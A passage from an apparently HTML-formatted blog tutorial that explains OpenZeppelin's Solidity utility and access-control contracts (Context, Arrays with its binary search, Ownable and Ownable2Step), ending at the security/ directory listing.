                    <span class="hljs-operator">|</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span> MessageHashUtils.sol
                    L<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span> SignatureChecker.sol
          <span class="hljs-operator">|</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span> introspection<span class="hljs-operator">/</span>
                    L<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span> ERC165.sol
          <span class="hljs-operator">|</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span> math<span class="hljs-operator">/</span>
                    <span class="hljs-operator">|</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span> Math.sol
                    <span class="hljs-operator">|</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span> SafeCast.sol
                    L<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span> SignedMath.sol
          <span class="hljs-operator">|</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span> structs<span class="hljs-operator">/</span>
                    <span class="hljs-operator">|</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span> BitMaps.sol
                    <span class="hljs-operator">|</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span> Checkpoints.sol
                    <span class="hljs-operator">|</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span> DoubleEndedQueue.sol
                    <span class="hljs-operator">|</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span> EnumerableMap.sol
                    L<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span> EnumerableSet.sol
          <span class="hljs-operator">|</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span> Base64.sol
          <span class="hljs-operator">|</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span> Address.sol
          <span class="hljs-operator">|</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span> Create2.sol
          <span class="hljs-operator">|</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span> Multicall.sol
          <span class="hljs-operator">|</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span> Nonces.sol
          <span class="hljs-operator">|</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span> ShortStrings.sol
          <span class="hljs-operator">|</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span> StorageSlot.sol
          <span class="hljs-operator">|</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span> Strings.sol
          <span class="hljs-operator">|</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span> ✨👀✨ Arrays.sol
          L<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span> ✨👀✨ Context.sol
</code></pre><p><code>utils/</code> are miscellaneous contracts and libraries containing utilities for new data types, security, and safe low-level primitives.</p><p>before we look at <code>Ownable</code>, <code>Proxy</code>, and <code>ReentrancyGuard,</code> we will look at <code>Context</code> (as it is a short &amp;&amp; sweet inherited suite) and to <code>Array</code> (as we can talk a little bit about one of my favorite subjects: <strong>algorithms</strong>).</p><p>for completeness, the other contracts in this directory are:</p><ul><li><p>the libraries <code>Address</code>,<code>Base64</code>, and <code>Strings</code>, providing operations related to the native data types.</p></li><li><p><code>SafeCast</code> providing ways to convert between <code>signed</code> and <code>unsigned</code> types safely.</p></li><li><p><code>Multicall</code> providing a way to batch together multiple calls in one external call.</p></li><li><p><code>EnumerableMap</code> is an extension of <code>mapping</code> with key-value enumeration (and iteration). same for <code>EnumerableSet</code>.</p></li><li><p><code>Create2</code> provides utilities to safely use the EVM <code>CREATE2</code> opcode without dealing with low-level assembly.</p></li></ul><hr><h3 id="h-utilscontextsol" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0"><strong>utils/Context.sol</strong></h3><p><code>Context</code> is an <code>abstract</code> <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Context.sol">wrapper for the current execution context</a>, <em>i.e.,</em> the transaction sender and data.</p><blockquote><p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p><p><strong><em>contracts must be marked as</em></strong> <code>abstract</code> <strong><em>when at least one of their functions is not implemented or they do not supply arguments for their base contract constructor. they cannot be instantiated directly or override an implemented virtual function with an unimplemented one.</em></strong></p><p><code>abstract</code> <strong><em>contracts can be helpful in the same logic as defining methods through an interface is.</em></strong></p><p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p></blockquote><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/8c04c40902758527a1f0c0342a9e119cedb77b060bf0aeb4adaecc49516ca1f2.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>this simple contract creates two <code>internal</code> <code>view</code> <code>virtual</code> functions for both <code>msg.sender</code> and <code>msg.data</code>.</p><blockquote><p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p><p><code>internal</code> <strong><em>functions can only be accessed from inside the current contract or contracts deriving from it. they cannot be accessed externally and are not exposed through the contract’s ABI.</em></strong></p><p><code>external</code> <strong><em>functions are part of the interface and can only be called from other contracts and transactions. they cannot be called internality (except with</em></strong> <code>this</code>).</p><p><code>public</code> <strong><em>functions are part of the contract interface and can be either called internally or with message calls.</em></strong></p><p><code>virtual</code> <strong><em>means that the function can change its behavior in derived (overriding) classes (the keyword</em></strong> <code>override</code> <strong><em>must be used in the overriding modifier).</em></strong></p><p><code>view</code> <strong><em>functions declare that no state will be changed. when a</em></strong> <code>view</code> <strong><em>function is called, the</em></strong> <code>STATICALL</code> <strong><em>opcode is used (enforcing the state to stay unmodified). for library</em></strong> <code>view</code> <strong><em>functions,</em></strong> <code>DELEGATECALL</code> i<strong><em>s used (there are no runtime checks that prevent state modifications). a</em></strong> <code>view</code> <strong><em>function</em></strong> <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.soliditylang.org/en/v0.8.15/contracts.html#view-functions"><strong>cannot modify the state of the contract</strong></a>, <strong><em>for instance by writing to state variables, creating other contracts, emitting events, sending ether with</em></strong> <code>call()</code> <strong><em>or using any low-level calls, using</em></strong> <code>selfdestruct()</code>, <strong><em>calling functions that</em></strong> <code>pure</code> <strong><em>or</em></strong> <code>view</code><strong><em>, or using inline assembly with certain opcodes.</em></strong></p><p><code>pure</code> <strong><em>functions declare that no state variable will be changed or read (i.e., it promises not to modify or read from the state). it’s possible to evaluate a</em></strong> <code>pure</code> <strong><em>function at compile-time given only its inputs and</em></strong> <code>msg.data</code> <strong><em>(without knowledge of the blockchain state).</em></strong></p><p><strong><em>to understand visibility and getters, check </em></strong><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://solidity-by-example.org/visibility/"><strong><em>solidity by example.</em></strong></a></p><p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p></blockquote><p>in summary, <code>Context</code> is an excellent example of how openzeppelin engineers design their code to be more generic and upgradeable.</p><p>for instance, if <code>msg.sender</code> becomes obsolete (such as <code>tx.origin</code>), this primitive can be updated in this one-liner instead of across all contracts <em>in the world.</em></p><hr><h3 id="h-utilsarraysol" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0"><strong>utils/Array.sol</strong></h3><p>an <code>Array</code> type in solidity has <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://solidity-by-example.org/array/">a compile-time fixed size or a dynamic size,</a> and can be declared several ways:</p><pre data-type="codeBlock" text="uint[] public array;
uint[] public array = [1, 3, 7];
uint[10] public array;
"><code>uint<span class="hljs-section">[]</span> public array<span class="hljs-comment">;</span>
uint<span class="hljs-section">[]</span> public <span class="hljs-attr">array</span> = [<span class="hljs-number">1</span>, <span class="hljs-number">3</span>, <span class="hljs-number">7</span>]<span class="hljs-comment">;</span>
uint<span class="hljs-section">[10]</span> public array<span class="hljs-comment">;</span>
</code></pre><p>openzeppelin’s <code>Array</code> is a <code>library</code> <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Arrays.sol">that provides a collection of functions related to array types</a>.</p><p>it utilizes <code>utils/StorageSlot.sol</code> (for reading and writing primitive types to specific storage slots) and <code>util/math/Math.sol</code> (for math utilities missing in solidity).</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/f3f25e4dcd0220c79b98129bc5da05e9600cf67dc9a9f4f633890c1d8b907719.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><blockquote><p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p><p><strong><em>libraries are like contracts, but without any state variable or payable function.</em></strong></p><p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p></blockquote><p>the <code>internal</code> <code>view</code> <code>findUpperBound()</code> function is an <code>O(log n)</code> search method for (ascending order and non-repeated) sorted arrays, which returns the first index that contains a value greater or equal to <code>element</code>:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/c20fe905676b3d47ad96570922393a1de54b31528f917a4687699d60e5a7bb5e.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>💜 <strong>this is just our good and old binary search!</strong> 💜</p><p>if python is more familiar to you, here is a classical implementation of this algorithm:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/1e764161192eb72b1ca962f07147c40945b557a98020549098f83fc5711b896d.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>mostly, when dealing with binary search algorithms, you want to pay attention to the three possible “templates”:</p><ol><li><p><code>while left &lt; right</code>, with <code>left = mid + 1</code> and <code>right = mid - 1</code>.</p></li><li><p><code>while left &lt; right</code>, with <code>left = mid + 1</code> and <code>right = mid</code>, and <code>left</code> is returned.</p></li><li><p><code>while left + 1 &lt; right</code>, with <code>left = mid</code> and <code>right = mid</code>, and <code>left</code> and <code>right</code> are returned.</p></li></ol><blockquote><p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p><p><strong><em>if you are not familiar with algorithms and data structure, i have an </em></strong><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/go-outside-labs/master-algorithms-py/tree/master"><strong><em>entire repository teaching these subjects with detailed examples,</em></strong></a><strong><em> based on </em></strong><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.hanbit.co.kr/store/books/look.php?p_code=B8465804191"><strong><em>a book i published many years ago</em></strong></a><strong><em>. you should check it out. ( :</em></strong></p><p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p></blockquote><p>in the case of <code>Array</code>, we are looking at the second template:</p><ul><li><p><code>mid</code> will always be less than high because <code>Math.average()</code> rounds towards zero (integer division with truncation).</p></li><li><p><code>low</code> is the exclusive upper bound.</p></li><li><p>the inclusive upper bound is <code>return</code>.</p></li></ul><p>the next three <code>internal</code> <code>pure</code> <code>unsafeAccess()</code> functions deal with the <code>assembly</code> code that calculates the storage slot of the element at the given index <code>pos</code>, for either <code>address[]</code>, <code>bytes32[]</code>, or <code>uint256[]</code> data structures.</p><blockquote><p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p><p><strong><em>the types</em></strong> <code>bool</code>, <code>uint256</code>, <code>int256</code><strong><em>, and</em></strong> <code>address</code> <strong><em>are some of the primitive types available in solidity.</em></strong></p><p><code>mappings</code> <strong><em>are non-iterable maps where the keys can be a built-in type,</em></strong> <code>bytes</code>, <code>string</code>, <strong><em>or even a contract.</em></strong></p><p><strong><em>the value types</em></strong> <code>bytes1</code>, <code>bytes2</code>,<strong><em>…,</em></strong> <code>bytes32</code> <strong><em>hold sequences of bytes from one to up to</em></strong> <code>32</code>. <strong><em>the type</em></strong> <code>bytes32[]</code> <strong><em>is an array of bytes (the same way</em></strong> <code>uint256[]</code> <strong><em>is an array o</em></strong>f <code>uint256</code><strong><em>, etc.).</em></strong></p><p><strong><em>by the way, due to padding rules,</em></strong> <code>bytes*</code> <strong><em>with anything less than</em></strong> <code>32</code> <strong><em>is a waste (and should be replaced by</em></strong> <code>bytes</code>, <strong><em>a dynamically-sized byte array).</em></strong></p><p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p></blockquote><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/a6da68caa83ed6ff8944f0cd7aa8083d1f9e9ef820f8fb7debbe00a82b5b00e5.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><blockquote><p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p><p><strong><em>the language used for inline assembly in solidity is called </em></strong><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.soliditylang.org/en/v0.8.21/yul.html#yul"><strong><em>yul</em></strong></a><strong><em> and offers a way to access the EVM at a low level, bypassing safety features and checks.</em></strong></p><p><code>mstore()</code> <strong><em>represents the opcode</em></strong> <code>MSTORE</code> <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.ethervm.io/#MSTORE"><strong><em>that writes a</em></strong></a> <code>(u)int256</code> <strong><em>to memory (i.e., volatile read-write RAM which is not persistent across transactions).</em></strong></p><p><code>keccak256(bytes memory)</code> <strong><em>is a cryptographic function that computes the </em></strong><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://solidity-by-example.org/hashing/"><strong><em>keccak-256 hash</em></strong></a><strong><em> of the input (and is used all over ethereum, for example, for creating deterministic unique IDs, commit-reveal schemes, and compact signatures).</em></strong></p><p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p></blockquote><p>finally, two <code>internal</code> <code>pure</code> <code>unsafeMemoryAccess()</code> functions deal with memory access unsafely by skipping solidity’s index-out-of-range check.</p><p>they should only be used if the input index <code>pos</code> is lower than the array length:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/23a8b7fa60ce4816e4d1b9391ead61e877959e9b88f8ab8cbf61bca676213186.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><hr><h2 id="h-010-access" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">010. access/</h2><pre data-type="codeBlock" text="|----- access/
      |
      |----- ✨👀✨ Ownable.sol
      |----- ✨👀✨ Ownable2Step.sol
      |----- AccessControl.sol
      L----- extensions/
"><code><span class="hljs-operator">|</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span> access<span class="hljs-operator">/</span>
      <span class="hljs-operator">|</span>
      <span class="hljs-operator">|</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span> ✨👀✨ Ownable.sol
      <span class="hljs-operator">|</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span> ✨👀✨ Ownable2Step.sol
      <span class="hljs-operator">|</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span> AccessControl.sol
      L<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span> extensions<span class="hljs-operator">/</span>
</code></pre><p>in general, access control is given through ownership, where an account is assigned as the contract’s <code>owner</code>.</p><p>the <code>access/</code> subdirectory provides libraries to restrict who can access the functions of a contract or when they can do it.</p><p>while <code>AccessControl</code> states general role-based access control features, <code>Ownable</code> implements a simple mechanism with a single owner that can be assigned to a single account.</p><hr><h3 id="h-accessownablesol" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">access/Ownable.sol</h3><p>let’s look at the <code>Ownable</code> <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol">contract</a> and how an account (<code>owner</code>) can be granted access to specific functions through the <code>onlyOwner</code> modifier (which reverts any function that is not called by the address registered as <code>owner</code>).</p><blockquote><p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p><p><strong><em>modifiers are code that can be run before and/or after a function call. they are used to restrict access, validate inputs, and perform security checks.</em></strong></p><p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p></blockquote><p>the main features of this <code>abstract</code> contract are:</p><ul><li><p>defining the modifier <code>onlyOwner</code>.</p></li><li><p>defining a “special” address called <code>owner</code> , set to the address provided by the deployer.</p></li><li><p>defining how <code>owner</code> can be changed with <code>transferOwnership()</code>.</p></li></ul><p>first, we see that the contract is inheriting from <code>utils/Context.sol</code> (discussed above) and has one <code>private</code> state variable, <code>_owner</code> (remember, state variables are declared outside a function, <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.soliditylang.org/en/v0.8.21/internals/layout_in_storage.html">stored in storage</a>, and updated through a transaction).</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/c53bf59ae49d2a45edebff6d39a31586e27f5a48e58bbabc31f35ea06c7b0817.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>then, the contract performs two sanity checks, throwing <code>error</code> if the caller account is not authorized to perform an operation or the <code>owner</code> is not a valid account (<em>e.g.,</em> address <code>0x0</code>).</p><p>after that, the <code>OwnershipTransferred()</code> <code>event</code> is declared.</p><blockquote><p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p><p><code>event</code> <strong><em>is a convenient interface for abstracting the EVM logging protocol. their log entries provide the contract’s address, a series of up to four topics, and some binary data. events leverage the function’s ABI to interpret the typed structure, and can also be used as a cheap form of storage.</em></strong></p><p><code>error</code> <strong><em>allows the definition of descriptive names and data for failure situations, with an opcode to abort execution and revert all state changes. errors can be thrown by calling</em></strong> <code>require</code>, <code>revert</code>, <strong><em>or</em></strong> <code>assert</code>.</p><p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p></blockquote><p>next, <code>constructor</code> is called, and the contract is initialized, setting the address provided by the deployer as the initial <code>owner</code> (by default, <code>owner</code> is the account that deployed the contract).</p><blockquote><p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p><p><strong><em>a constructor is an optional function executed upon contract creation that can run contract initialization code. before it is executed, state variables are initialized (to their values or default values). after it has run, the final code of the contract is deployed to the blockchain.</em></strong></p><p><strong><em>if there is no constructor, the contract will assume the default</em></strong> <code>constructor() {}</code>.</p><p><strong><em>learn more about how</em></strong> <code>constructor</code> <strong><em>could be exploited in</em></strong><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/autistic-symposium/ethernaut-foundry-framework-solutions-sol/tree/main/test/02"><strong><em> my ethernaut solution for fal1out</em></strong></a><strong><em>.</em></strong></p><p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p></blockquote><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/160af36ed39e199706395a60efd3ebf34464436f28a37d5dbde18c36a2e20775.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>finally, we see the creation of the modifier <code>onlyOwner</code>, stating that the function must be called by the <code>owner</code>.</p><p>the <code>internal</code> <code>view</code> <code>virtual</code> checker <code>_checkOwner()</code> verifies that <code>msg.sender</code> is <code>owner</code>, and any other account reverts with <code>OwnableUnauthorizedAccount()</code>.</p><p>if the check pass, <code>_;</code> states that the function should execute normally as it will be replaced by the actual function body when the modifier is used.</p><blockquote><p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p><p><strong><em>the underscore “_” is used inside* a function modifier to tell solidity to *execute the rest of the code.</em></strong></p><p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p></blockquote><p>note that <code>_msgSender()</code> is a wrapper from <code>Context.sol</code>, the same way <code>owner()</code> is a wrapper for the state variable <code>_owner</code>.</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/f2ad3eca889fdf9406eab3e335c7027fb97a8aecb6461478a0a451299a8f5fac.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>the last part of this contract is two <code>public</code> and one <code>internal</code> functions to deal with ownership changes. note that the <code>public</code> functions are already modified by <code>onlyOwner</code>.</p><p><code>renounceOwnership()</code> leaves the contract without <code>owner</code> and can only be called by the current <code>owner</code>.</p><p><code>transferOwnership()</code> and <code>_transferOwnership()</code> transfer <code>owner</code> to a new account (<code>newOwner)</code>, emitting an <code>OwnershipTransferred()</code> <code>event</code>. they also can only be called by the current <code>owner</code>.</p><p>in conclusion, the modifier <code>onlyOwner</code> is seen in many projects as ownership can be assigned to a simple EOA, multiple EOAs, multisig accounts, or complex modules with timelocks and governance. just a few examples: <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/ethereum-optimism/optimism/blob/33cb9025f5e463525d6abe67c8457f81a87c5a24/packages/contracts/contracts/optimistic-ethereum/libraries/resolver/Lib_AddressManager.sol#L10">the address manager contract in optimistic ethereum</a>, <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://etherscan.io/address/0xa2327a938febf5fec13bacfb16ae10ecbc4cbdcf#code">the usdc stablecoin contract</a>, and <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://etherscan.io/address/0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419">the chainLink price feeds contract</a>.</p><p>as a final example of its applicability, here is an example in an <code>AllowList</code>:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/dbe510c1be1c26ac0e05de6dab9b3a227e39f4004208f442fad3c9ad52285c6c.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>the limitations of <code>Ownable</code> is that only one address can be <code>owner</code> at a given time, and only the <code>owner</code> gets to decide who is <code>newOwner</code>.</p><p>when different authorization levels are needed, <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.openzeppelin.com/contracts/3.x/access-control">role-based access control (RBAC)</a> can define multiple roles, each allowed to perform different sets of actions (<em>e.g.,</em> instead of <code>onlyOwner</code>, use <code>onlyAdminRole</code> in some places, and <code>onlyModeratorRole</code> in others).</p><p>openzeppelin provides the contract <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.openzeppelin.com/contracts/2.x/api/access#Roles">Roles</a> and <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/AccessControl.sol">AccessControl</a> for such extensions.</p><hr><h3 id="h-accessownable2stepsol" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0"><strong>access/Ownable2Step.sol:</strong></h3><p>as an illustration, let’s take a quick look at another contract in the <code>access/</code> directory, whose parent is <code>Ownable</code>.</p><p><code>Ownable2Step</code> provides an access control mechanism where there is an account (<code>owner</code>) with, now, two functions for ownership transferring, <code>transferOwnership()</code> and <code>acceptOwnership()</code>, for added safety of a securely designed two-step process:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/c49e971603f9fcaee71a602b8cc1d75bcaaa08419741c2ead915f18086b2dfb3.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><hr><h2 id="h-011-security" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">011. security/</h2><pre data-type="codeBlock" text="|----- security/
      |
      |----- Pausable.sol
      L----- ✨👀✨ ReentrancyGuard.sol
"><code><span class="hljs-operator">|</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span> security<span class="hljs-operator">/</span>
      <span class="hljs-operator">|</span>
      <span class="hljs-operator">|</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span> Pausable.sol
      L<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span> ✨👀✨ ReentrancyGuard.sol
